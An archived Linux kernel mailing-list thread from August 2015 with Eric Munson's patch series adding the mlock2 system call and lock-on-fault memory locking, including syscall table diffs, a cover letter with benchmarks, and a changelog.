Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/x86/entry/syscalls/syscall_32.tbl | 1 +
 arch/x86/entry/syscalls/syscall_64.tbl | 1 +
 include/linux/syscalls.h               | 2 ++
 include/uapi/asm-generic/unistd.h      | 4 +++-
 kernel/sys_ni.c                        | 1 +
 mm/mlock.c                             | 8 ++++++++
 6 files changed, 16 insertions(+), 1 deletion(-)

diff --git a/arch/x86/entry/syscalls/syscall_32.tbl b/arch/x86/entry/syscalls/syscall_32.tbl
index ef8187f..8e06da6 100644
--- a/arch/x86/entry/syscalls/syscall_32.tbl
+++ b/arch/x86/entry/syscalls/syscall_32.tbl
@@ -365,3 +365,4 @@
 356	i386	memfd_create		sys_memfd_create
 357	i386	bpf			sys_bpf
 358	i386	execveat		sys_execveat			stub32_execveat
+360	i386	mlock2			sys_mlock2
diff --git a/arch/x86/entry/syscalls/syscall_64.tbl b/arch/x86/entry/syscalls/syscall_64.tbl
index 9ef32d5..67601e7 100644
--- a/arch/x86/entry/syscalls/syscall_64.tbl
+++ b/arch/x86/entry/syscalls/syscall_64.tbl
@@ -329,6 +329,7 @@
 320	common	kexec_file_load		sys_kexec_file_load
 321	common	bpf			sys_bpf
 322	64	execveat		stub_execveat
+324	common	mlock2			sys_mlock2
 
 #
 # x32-specific system call numbers start at 512 to avoid cache impact
diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index b45c45b..56a3d59 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -884,4 +884,6 @@ asmlinkage long sys_execveat(int dfd, const char __user *filename,
 			const char __user *const __user *argv,
 			const char __user *const __user *envp, int flags);
 
+asmlinkage long sys_mlock2(unsigned long start, size_t len, int flags);
+
 #endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index e016bd9..14a6013 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -709,9 +709,11 @@ __SYSCALL(__NR_memfd_create, sys_memfd_create)
 __SYSCALL(__NR_bpf, sys_bpf)
 #define __NR_execveat 281
 __SC_COMP(__NR_execveat, sys_execveat, compat_sys_execveat)
+#define __NR_mlock2 282
+__SYSCALL(__NR_mlock2, sys_mlock2)
 
 #undef __NR_syscalls
-#define __NR_syscalls 282
+#define __NR_syscalls 283
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/sys_ni.c b/kernel/sys_ni.c
index 7995ef5..4818b71 100644
--- a/kernel/sys_ni.c
+++ b/kernel/sys_ni.c
@@ -193,6 +193,7 @@ cond_syscall(sys_mlock);
 cond_syscall(sys_munlock);
 cond_syscall(sys_mlockall);
 cond_syscall(sys_munlockall);
+cond_syscall(sys_mlock2);
 cond_syscall(sys_mincore);
 cond_syscall(sys_madvise);
 cond_syscall(sys_mremap);
diff --git a/mm/mlock.c b/mm/mlock.c
index 5692ee5..3094f27 100644
--- a/mm/mlock.c
+++ b/mm/mlock.c
@@ -643,6 +643,14 @@ SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
 	return do_mlock(start, len, VM_LOCKED);
 }
 
+SYSCALL_DEFINE3(mlock2, unsigned long, start, size_t, len, int, flags)
+{
+	if (flags)
+		return -EINVAL;
+
+	return do_mlock(start, len, VM_LOCKED);
+}
+
 SYSCALL_DEFINE2(munlock, unsigned long, start, size_t, len)
 {
 	int ret;
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v8 0/6] Allow user to request memory to be locked on page fault
Date: Wed, 26 Aug 2015 14:24:19 -0400
Lines: 226
Approved: news@gmane.org
Message-ID: <1440613465-30393-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1440613494 8251 80.91.229.3 (26 Aug 2015 18:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2015 18:24:54 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	Michal Hocko <mhocko@suse.cz>,
	Michael Kerrisk <mtk.manpages@gmail.com>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	Ralf Baechle <ralf@linux-mips.org>,
	Andrea Arcangeli <aarcange@redhat.com>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Aug 26 20:24:38 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZUfNC-0002E5-IF
	for glkm-linux-mm-2@m.gmane.org; Wed, 26 Aug 2015 20:24:35 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id BD7BC6B0254; Wed, 26 Aug 2015 14:24:30 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B112C9003C7; Wed, 26 Aug 2015 14:24:30 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 98B176B0256; Wed, 26 Aug 2015 14:24:30 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qg0-f47.google.com (mail-qg0-f47.google.com [209.85.192.47])
	by kanga.kvack.org (Postfix) with ESMTP id 6790B6B0254
	for <linux-mm@kvack.org>; Wed, 26 Aug 2015 14:24:30 -0400 (EDT)
Original-Received: by qgeb6 with SMTP id b6so131640189qge.3
        for <linux-mm@kvack.org>; Wed, 26 Aug 2015 11:24:30 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id;
        bh=IimtVnk4HWcflRw5zcP3zlI6kD0qDQN9ueNllvdxOK8=;
        b=cLorrMtmSn3aCa63FbkUhcHUgDPACEqN9q4unzOAtoowOSiq9p+7bQE4r1qYYGIrSn
         N9DXMeZMzUilecQYFn3BPFriUPQueJjGN10YPsgEDcDn3l3eEvd5rCmyMR+Muua17Vaw
         UMQgmSwlRazPpMP/EcoY/UioKnGEidb6/I0AcJzQepr/dX/MXOrxNYTXR/j1DDbN1IDJ
         HHLabUt++HD0R8AWgwtSjiBOhv5cRzbS/TlCNEip20aBVOo7zAo0A84OBlbwPv7LDqx5
         GXQlKKeqNOkDPywtY/jSGlBT9o/7ih0PjDaVvqdBK4QGZaUh3Qm9V5tYvbeSULRBoet+
         CPlg==
X-Gm-Message-State: ALoCoQnAYrck/vDJg3r1fCdHgjCfox3NEALZw2BzUxIRWzAox0hk8CO6ZpseHXyFMz15MJeO7ltek2IDMFxJt1urlKTLV2/ksV9HYyniTg2DmHSYLh2g2eTzlgAn8RBmBbXdqJ/Gt1rav3Sd1jDCscg6kNk3fU9f5xbNahndHM28slArnxugLq9i8jZVvsv72tdpJC6zwg3G
X-Received: by 10.140.133.84 with SMTP id 81mr85233350qhf.13.1440613470210;
        Wed, 26 Aug 2015 11:24:30 -0700 (PDT)
X-Received: by 10.140.133.84 with SMTP id 81mr85233064qhf.13.1440613468518;
        Wed, 26 Aug 2015 11:24:28 -0700 (PDT)
Original-Received: from prod-mail-xrelay05.akamai.com ([23.79.238.179])
        by mx.google.com with ESMTP id u9si28278223qku.40.2015.08.26.11.24.28
        for <linux-mm@kvack.org>;
        Wed, 26 Aug 2015 11:24:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) client-ip=23.79.238.179;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) smtp.mailfrom=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 0052C47B53;
	Wed, 26 Aug 2015 18:24:28 +0000 (GMT)
Original-Received: from prod-mail-relay11.akamai.com (prod-mail-relay11.akamai.com [172.27.118.250])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id DCE6247411;
	Wed, 26 Aug 2015 18:24:27 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1440613467; bh=m+PakvdpWkv4pk11xxtDS98s0HohF4VYVXYHFaTmMyg=;
	h=From:To:Cc:Subject:Date:From;
	b=Gs5dRrsTkW/Y8AaoZqzYEJ3i3+Wcb72ffFrx7yeMpJhMCrRl8LW+Rin7+MFLHJ1Cu
	 d3Agm3ja3GhqpSbQkRNtOodrKsXX6ulv42ufX3QoupkB46wTmUVsRWFKto+aR89Xhf
	 BCmZbM4B5sLZWrfUTTAH9aivM/CnVv/rxePmw5VU=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.119])
	by prod-mail-relay11.akamai.com (Postfix) with ESMTP id C824D2026;
	Wed, 26 Aug 2015 18:24:27 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:137733 gmane.linux.ports.alpha:3362 gmane.linux.kernel:2027282 gmane.linux.ports.mips.general:50180 gmane.linux.ports.parisc:25988 gmane.linux.ports.ppc64.devel:117370 gmane.linux.ports.sparc:21526 gmane.linux.kernel.cross-arch:28968 gmane.linux.kernel.api:13686
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/137733>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.  Instead of forcing all locked pages to be present
when they are allocated, this set creates a middle ground.  Pages are
marked to be placed on the unevictable LRU (locked) when they are first
used, but they are not faulted in by the mlock call.

This series introduces a new mlock() system call that takes a flags
argument along with the start address and size.  This flags argument
gives the caller the ability to request memory be locked in the
traditional way, or to be locked after the page is faulted in.  A new
MCL flag is added to mirror the lock on fault behavior from mlock() in
mlockall().

There are two main use cases that this set covers.  The first is the
security focussed mlock case.  A buffer is needed that cannot be written
to swap.  The maximum size is known, but on average the memory used is
significantly less than this maximum.  With lock on fault, the buffer
is guaranteed to never be paged out without consuming the maximum size
every time such a buffer is created.

The second use case is focussed on performance.  Portions of a large
file are needed and we want to keep the used portions in memory once
accessed.  This is the case for large graphical models where the path
through the graph is not known until run time.  The entire graph is
unlikely to be used in a given invocation, but once a node has been
used it needs to stay resident for further processing.  Given these
constraints we have a number of options.  We can potentially waste a
large amount of memory by mlocking the entire region (this can also
cause a significant stall at startup as the entire file is read in).
We can mlock every page as we access them without tracking if the page
is already resident but this introduces large overhead for each access.
The third option is mapping the entire region with PROT_NONE and using
a signal handler for SIGSEGV to mprotect(PROT_READ) and mlock() the
needed page.  Doing this page at a time adds a significant performance
penalty.  Batching can be used to mitigate this overhead, but in order
to safely avoid trying to mprotect pages outside of the mapping, the
boundaries of each mapping to be used in this way must be tracked and
available to the signal handler.  This is precisely what the mm system
in the kernel should already be doing.

For mlock(MLOCK_ONFAULT) the user is charged against RLIMIT_MEMLOCK as
if mlock(MLOCK_LOCKED) or mmap(MAP_LOCKED) was used, so when the VMA is
created not when the pages are faulted in.  For mlockall(MCL_ONFAULT)
the user is charged as if MCL_FUTURE was used.  This decision was made
to keep the accounting checks out of the page fault path.

To illustrate the benefit of this set I wrote a test program that mmaps
a 5 GB file filled with random data and then makes 15,000,000 accesses
to random addresses in that mapping.  The test program was run 20 times
for each setup.  Results are reported for two program portions, setup
and execution.  The setup phase is calling mmap and optionally mlock on
the entire region.  For most experiments this is trivial, but it
highlights the cost of faulting in the entire region.  Results are
averages across the 20 runs in milliseconds.

mmap with mlock(MLOCK_LOCKED) on entire range:
Setup avg:      8228.666
Processing avg: 8274.257

mmap with mlock(MLOCK_LOCKED) before each access:
Setup avg:      0.113
Processing avg: 90993.552

mmap with PROT_NONE and signal handler and batch size of 1 page:
With the default value in max_map_count, this gets ENOMEM as I attempt
to change the permissions, after upping the sysctl significantly I get:
Setup avg:      0.058
Processing avg: 69488.073
mmap with PROT_NONE and signal handler and batch size of 8 pages:
Setup avg:      0.068
Processing avg: 38204.116

mmap with PROT_NONE and signal handler and batch size of 16 pages:
Setup avg:      0.044
Processing avg: 29671.180

mmap with mlock(MLOCK_ONFAULT) on entire range:
Setup avg:      0.189
Processing avg: 17904.899

The signal handler in the batch cases faulted in memory in two steps to
avoid having to know the start and end of the faulting mapping.  The
first step covers the page that caused the fault as we know that it will
be possible to lock.  The second step speculatively tries to mlock and
mprotect the batch size - 1 pages that follow.  There may be a clever
way to avoid this without having the program track each mapping to be
covered by this handeler in a globally accessible structure, but I could
not find it.  It should be noted that with a large enough batch size
this two step fault handler can still cause the program to crash if it
reaches far beyond the end of the mapping.

These results show that if the developer knows that a majority of the
mapping will be used, it is better to try and fault it in at once,
otherwise mlock(MLOCK_ONFAULT) is significantly faster.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).  The following are the average
values across 20 runs of stream and 10 runs of kernbench after a warmup
run whose results were discarded.

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.2-rc1      4.2-rc1+lock-on-fault
Copy:    10,566.5     10,421
Scale:   10,685       10,503.5
Add:     12,044.1     11,814.2
Triad:   12,064.8     11,846.3

Kernbench optimal load
                 4.2-rc1  4.2-rc1+lock-on-fault
Elapsed Time     78.453   78.991
User Time        64.2395  65.2355
System Time      9.7335   9.7085
Context Switches 22211.5  22412.1
Sleeps           14965.3  14956.1

---
Changes from V7:
* Do not expose the VM_LOCKONFAULT flag to userspace via proc
* Fix mlock2 self tests

Changes from V6:
* Bump the x86 system call number to avoid collision with userfaultfd
* Fix FOLL_POPULATE and FOLL_MLOCK usage when mmap is called with
 MAP_POPULATE
* Add documentation for the proc smaps change
* checkpatch fixes

Changes from V5:
Drop MLOCK_LOCKED flag
* MLOCK_ONFAULT and MCL_ONFAULT are treated as a modifier to other locking
 operations, mirroring the relationship between VM_LOCKED and
 VM_LOCKONFAULT
* Drop mmap flag and related tests
* Fix clearing of MCL_CURRENT when mlockall is called with MCL_FUTURE,
 mlockall behavoir now matches the old behavior WRT to ordering

Changes from V4:
Drop all architectures for new sys call entries except x86[_64] and MIPS
Drop munlock2 and munlockall2
Make VM_LOCKONFAULT a modifier to VM_LOCKED only to simplify book keeping
Adjust tests to match

Changes from V3:
Ensure that pages present when mlock2(MLOCK_ONFAULT) is called are locked
Ensure that VM_LOCKONFAULT is handled in cases that used to only check VM_LOCKED
Add tests for new system calls
Add missing syscall entries, fix NR_syscalls on multiple arch's
Add missing MAP_LOCKONFAULT for tile

Changes from V2:
Added new system calls for mlock, munlock, and munlockall with added
flags arguments for controlling how memory is locked or unlocked.

Eric B Munson (6):
  mm: mlock: Refactor mlock, munlock, and munlockall code
  mm: mlock: Add new mlock system call
  mm: Introduce VM_LOCKONFAULT
  mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
  selftests: vm: Add tests for lock on fault
  mips: Add entry for new mlock2 syscall

 arch/alpha/include/uapi/asm/mman.h          |   3 +
 arch/mips/include/uapi/asm/mman.h           |   6 +
 arch/mips/include/uapi/asm/unistd.h         |  15 +-
 arch/mips/kernel/scall32-o32.S              |   1 +
 arch/mips/kernel/scall64-64.S               |   1 +
 arch/mips/kernel/scall64-n32.S              |   1 +
 arch/mips/kernel/scall64-o32.S              |   1 +
 arch/parisc/include/uapi/asm/mman.h         |   3 +
 arch/powerpc/include/uapi/asm/mman.h        |   1 +
 arch/sparc/include/uapi/asm/mman.h          |   1 +
 arch/tile/include/uapi/asm/mman.h           |   1 +
 arch/x86/entry/syscalls/syscall_32.tbl      |   1 +
 arch/x86/entry/syscalls/syscall_64.tbl      |   1 +
 arch/xtensa/include/uapi/asm/mman.h         |   6 +
 include/linux/mm.h                          |   5 +
 include/linux/syscalls.h                    |   2 +
 include/uapi/asm-generic/mman-common.h      |   5 +
 include/uapi/asm-generic/mman.h             |   1 +
 include/uapi/asm-generic/unistd.h           |   4 +-
 kernel/fork.c                               |   2 +-
 kernel/sys_ni.c                             |   1 +
 mm/debug.c                                  |   1 +
 mm/gup.c                                    |  10 +-
 mm/huge_memory.c                            |   2 +-
 mm/hugetlb.c                                |   4 +-
 mm/mlock.c                                  |  86 +++-
 mm/mmap.c                                   |   2 +-
 mm/rmap.c                                   |   6 +-
 tools/testing/selftests/vm/Makefile         |   2 +
 tools/testing/selftests/vm/mlock2-tests.c   | 737 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 ++
 tools/testing/selftests/vm/run_vmtests      |  22 +
 32 files changed, 941 insertions(+), 40 deletions(-)
 create mode 100644 tools/testing/selftests/vm/mlock2-tests.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Michael Kerrisk <mtk.manpages@gmail.com>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Andrea Arcangeli <aarcange@redhat.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH v8 4/6] mm: mlock: Add mlock flags to enable VM_LOCKONFAULT usage
Date: Wed, 26 Aug 2015 14:24:23 -0400
Lines: 292
Approved: news@gmane.org
Message-ID: <1440613465-30393-5-git-send-email-emunson@akamai.com>
References: <1440613465-30393-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1440613507 8495 80.91.229.3 (26 Aug 2015 18:25:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2015 18:25:07 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>,
	"Kirill A. Shutemov" <kirill@shutemov.name>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Aug 26 20:24:53 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZUfNT-0002PD-QO
	for glkm-linux-mm-2@m.gmane.org; Wed, 26 Aug 2015 20:24:52 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 3496A6B0259; Wed, 26 Aug 2015 14:24:41 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 2AA436B025A; Wed, 26 Aug 2015 14:24:41 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1256C6B025B; Wed, 26 Aug 2015 14:24:41 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-yk0-f173.google.com (mail-yk0-f173.google.com [209.85.160.173])
	by kanga.kvack.org (Postfix) with ESMTP id D3DB66B0259
	for <linux-mm@kvack.org>; Wed, 26 Aug 2015 14:24:40 -0400 (EDT)
Original-Received: by ykbi184 with SMTP id i184so195655057ykb.2
        for <linux-mm@kvack.org>; Wed, 26 Aug 2015 11:24:40 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=Av2GHwDYgEPVfyb4OV7fS2ufa/mZeHE+vyq8vwu1prI=;
        b=CyUwA178Ek7dK0BnKzK2FSK2is/6l88hONVDS+aC9cl2VFIJ/k9OUMb/eqzaCXMNMp
         uMyFAz9BsOHyorM5b80+ZPOqlo6Ak+DDDiR/N/pUk2xSQej/u7vw9hqXYIRjKzJd5sqO
         /ofNeCBUZFllyEGmrf79Ka1lgq1x7+gX8z5ZdO82IU6279GBIkUuienkrXixulM0eK0n
         BoBV6znCLvfBOCz6RVobCi9g+9Oh5LK98o8sBL9jknFw3beJ3eRaWd6VTQKgoSyARebK
         4EtWzwok5qDyDUPtludTZX2kxEHUkV6VNJQ8+dGuYPBrIjDa+MWpXxyHUqrSWzScg21C
         BaoQ==
X-Gm-Message-State: ALoCoQn4+lgCiQ3Cs7ob7jb0thiZim+wFpALcGnDrmx3uZ6vE3Ur/DZRDZLylrKd2GmfndvH1UNbWMkm2K3shPxwSSPxlqO/0lD53SVf+qWPMspwmty1GUAq5TZIIhS5Me8AyN3gPqzNvNLnAACg7T570X0wpgpw/w8UCIsbSu+HoeuCrQGGJ9OhVpFDj4bIRCgik353k5KM
X-Received: by 10.170.74.130 with SMTP id q124mr44705283ykq.120.1440613480541;
        Wed, 26 Aug 2015 11:24:40 -0700 (PDT)
X-Received: by 10.170.74.130 with SMTP id q124mr44704236ykq.120.1440613468719;
        Wed, 26 Aug 2015 11:24:28 -0700 (PDT)
Original-Received: from prod-mail-xrelay05.akamai.com ([23.79.238.179])
        by mx.google.com with ESMTP id 78si39869022qgh.16.2015.08.26.11.24.28
        for <linux-mm@kvack.org>;
        Wed, 26 Aug 2015 11:24:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) client-ip=23.79.238.179;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) smtp.mailfrom=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4611E47DC5;
	Wed, 26 Aug 2015 18:24:28 +0000 (GMT)
Original-Received: from prod-mail-relay11.akamai.com (prod-mail-relay11.akamai.com [172.27.118.250])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id 2268B47411;
	Wed, 26 Aug 2015 18:24:28 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1440613468; bh=dCkTo/PQHJ3MCPblAH16dLtbZvXIJ0yyiHVBQIh1SL0=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=qM932wYR4TlWnCGDkUowwD49fCGhbOuGIheerVkycNaDv/CVFJB3UXnR05nSGIp14
	 ysszlj2bJJ6YxDIZBjnX66JJRZfsU8CjZOGfmo8QVFPS1ox0k5KVV5Ryw2rvrlnBCa
	 vHReSHwvUcscLWbwmSbh84iWeA9W8hcvoArATdBo=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.119])
	by prod-mail-relay11.akamai.com (Postfix) with ESMTP id 13D28203C;
	Wed, 26 Aug 2015 18:24:28 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1440613465-30393-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:137736 gmane.linux.ports.alpha:3363 gmane.linux.kernel:2027285 gmane.linux.ports.mips.general:50181 gmane.linux.ports.parisc:25989 gmane.linux.ports.ppc64.devel:117371 gmane.linux.ports.sparc:21527 gmane.linux.kernel.cross-arch:28969 gmane.linux.kernel.api:13688
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/137736>

The previous patch introduced a flag that specified pages in a VMA
should be placed on the unevictable LRU, but they should not be made
present when the area is created.  This patch adds the ability to set
this state via the new mlock system calls.

We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
MLOCK_ONFAULT will set the VM_LOCKONFAULT modifier for VM_LOCKED.
MCL_ONFAULT should be used as a modifier to the two other mlockall
flags.  When used with MCL_CURRENT, all current mappings will be marked
with VM_LOCKED | VM_LOCKONFAULT.  When used with MCL_FUTURE, the
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.  When used
with both MCL_CURRENT and MCL_FUTURE, all current mappings and
mm->def_flags will be marked with VM_LOCKED | VM_LOCKONFAULT.

Prior to this patch, mlockall() will unconditionally clear the
mm->def_flags any time it is called without MCL_FUTURE.  This behavior
is maintained after adding MCL_ONFAULT.  If a call to
mlockall(MCL_FUTURE) is followed by mlockall(MCL_CURRENT), the
mm->def_flags will be cleared and new VMAs will be unlocked.  This
remains true with or without MCL_ONFAULT in either mlockall()
invocation.

munlock() will unconditionally clear both vma flags.  munlockall()
unconditionally clears for VMA flags on all VMAs and in the
mm->def_flags field.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Acked-by: Vlastimil Babka <vbabka@suse.cz>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Jonathan Corbet <corbet@lwn.net>
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
Cc: linux-mm@kvack.org
---
 arch/alpha/include/uapi/asm/mman.h     |  3 ++
 arch/mips/include/uapi/asm/mman.h      |  6 ++++
 arch/parisc/include/uapi/asm/mman.h    |  3 ++
 arch/powerpc/include/uapi/asm/mman.h   |  1 +
 arch/sparc/include/uapi/asm/mman.h     |  1 +
 arch/tile/include/uapi/asm/mman.h      |  1 +
 arch/xtensa/include/uapi/asm/mman.h    |  6 ++++
 include/uapi/asm-generic/mman-common.h |  5 ++++
 include/uapi/asm-generic/mman.h        |  1 +
 mm/mlock.c                             | 52 +++++++++++++++++++++++++---------
 10 files changed, 66 insertions(+), 13 deletions(-)

